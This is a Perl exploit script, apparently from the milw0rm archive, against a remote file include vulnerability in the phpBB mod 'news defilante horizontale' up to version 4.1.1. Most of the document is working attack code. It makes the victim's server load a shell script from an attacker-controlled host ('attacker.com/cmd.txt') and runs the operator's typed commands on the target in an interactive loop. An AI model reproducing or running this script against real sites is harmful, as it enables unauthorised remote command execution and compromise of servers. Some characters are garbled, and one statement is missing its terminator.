72 lines
3.3 KiB
Perl
Executable file
72 lines
3.3 KiB
Perl
Executable file
#!/usr/bin/perl
|
||
|
||
#####################################################################################################
|
||
# #
|
||
# news defilante horizontale FR #
|
||
# #
|
||
# Class: Remote File Include Vulnerability #
|
||
# #
|
||
# Patch: unavailable #
|
||
# #
|
||
# Date: 2006/10/12 #
|
||
# #
|
||
# Remote: Yes #
|
||
# #
|
||
# Type: high #
|
||
# #
|
||
# Site: http://ftp.phpbb-fr.com/mods/comm/news_defilante_horizontale_FR_v4.1.1.zip #
|
||
# #
|
||
#####################################################################################################
|
||
|
||
|
||
use IO::Socket;
|
||
use LWP::Simple;
|
||
|
||
$cmdshell="http://attacker.com/cmd.txt"; # <====== Change This Line With Your Personal Script
|
||
|
||
print "\n";
|
||
print "##########################################################################\n";
|
||
print "# #\n";
|
||
print "# news defilante horizontale <= 4.1.1 Remote File Include Vulnerability #\n";
|
||
print "# Bug found By : Ashiyane Corporation #\n";
|
||
print "# Email: nima salehi nima[at]ashiyane.ir #\n";
|
||
print "# Web Site : www.Ashiyane.ir #\n";
|
||
print "# #\n";
|
||
print "##########################################################################\n";
|
||
|
||
|
||
if (@ARGV < 2)
|
||
{
|
||
print "\n Usage: Ashiyane.pl [host] [path] ";
|
||
print "\n EX : Ashiyane.pl www.victim.com /path/ \n\n";
|
||
exit;
|
||
}
|
||
|
||
|
||
$host=$ARGV[0];
|
||
$path=$ARGV[1];
|
||
$vul="fran<61>ais/root/includes/functions_newshr.php?phpbb_root_path="
|
||
|
||
print "Type Your Commands ( uname -a )\n";
|
||
print "For Exiit Type END\n";
|
||
|
||
print "<Shell> ";$cmd = <STDIN>;
|
||
|
||
while($cmd !~ "END") {
|
||
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";
|
||
|
||
print $socket "GET ".$path.$vul.$cmdshell."?cmd=".$cmd."? HTTP/1.1\r\n";
|
||
print $socket "Host: ".$host."\r\n";
|
||
print $socket "Accept: */*\r\n";
|
||
print $socket "Connection: close\r\n\n";
|
||
|
||
while ($raspuns = <$socket>)
|
||
{
|
||
print $raspuns;
|
||
}
|
||
|
||
print "<Shell> ";
|
||
$cmd = <STDIN>;
|
||
}
|
||
|
||
# milw0rm.com [2006-10-13]
|